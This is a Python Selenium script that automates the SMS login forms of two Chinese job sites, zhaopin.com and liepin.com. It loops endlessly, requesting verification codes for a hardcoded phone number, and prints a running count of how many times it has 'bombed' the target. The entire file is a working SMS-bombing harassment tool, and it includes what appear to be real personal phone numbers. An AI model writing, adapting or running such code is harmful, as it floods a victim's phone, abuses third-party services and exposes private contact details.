# -*- coding: UTF-8 -*-
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import Select
import time,json,requests


driver = webdriver.Firefox()

d=webdriver.Firefox()
d.get("https://passport.zhaopin.com/additional?appID=b08533d46a8f47eb8ad0238551d8724a&refer=1211&redirectURL=https://seeker.zhaopin.com/sso/HighPinLogin")
time.sleep(5)
try:
	boss=""
	boss=d.find_element(By.CSS_SELECTOR,".login-box.clearfix .zppp-panel-qrcode-bar__img")
	boss.click()
except Exception as e:
	print("智联已被按下")


driver.get('https://www.liepin.com/city-hz/zpdaoyoua/')
time.sleep(60)
try:
	ele=driver.find_element(By.CSS_SELECTOR,".header-quick-menu-not-login #header-quick-menu-login")
	ele.click()
except Exception as e:
	print("error1")

time.sleep(30)
# mobile=19928139868
mobile=18573122260

def config(k):
	try:
		elel=driver.find_element(By.CSS_SELECTOR,".ant-modal-wrap.ant-modal-confirm-centered.ant-modal-centered .ant-input-wrapper.ant-input-group .ant-input.ant-input-lg")
		elel.click()

		try:
			boss=d.find_element(By.CSS_SELECTOR,".zppp-container-login .zppp-input__itc .zppp-input__container .zppp-input")
			boss.click()
		except Exception as e:
			print(1)

	except Exception as e:
		print("error2")
	
	if k==0:
		elel.send_keys(mobile)
		boss.send_keys(mobile)
	time.sleep(2)
	try:
		eles=driver.find_element(By.CSS_SELECTOR,".ant-modal-wrap.ant-modal-confirm-centered.ant-modal-centered .ant-input-wrapper.ant-input-group .get-smscode-btn.get-smscode-btn-active")
		eles.click()
		boss=""
		boss=d.find_element(By.CSS_SELECTOR,".zppp-container-login .zppp-sms .zppp-sms__send")
		boss.click()

		
		time.sleep(1)

	except Exception as e:
		print("error3")
	time.sleep(1)
	elesl=""
	boss=""
	while True:
		try:
			elesl=driver.find_element(By.CSS_SELECTOR,".ant-modal-wrap.ant-modal-confirm-centered.ant-modal-centered .ant-input-wrapper.ant-input-group .get-smscode-btn.get-smscode-btn-active")
			elesl=elesl.text
			elesl=elesl.encode("utf-8")
			elesl=elesl.strip()
			
			boss=d.find_element(By.CSS_SELECTOR,".zppp-container-login .zppp-sms .zppp-sms__send")
			boss=boss.text
			boss=boss.encode("utf-8")
			boss=boss.strip()

		except Exception as e:
			print "已轰炸",k,"次"
		
		if elesl=="获取验证码" and boss=="获取验证码" or boss=="重新获取验证码":
			break
if __name__ == '__main__':
	k=0
	while True:
		config(k)
		k=k+1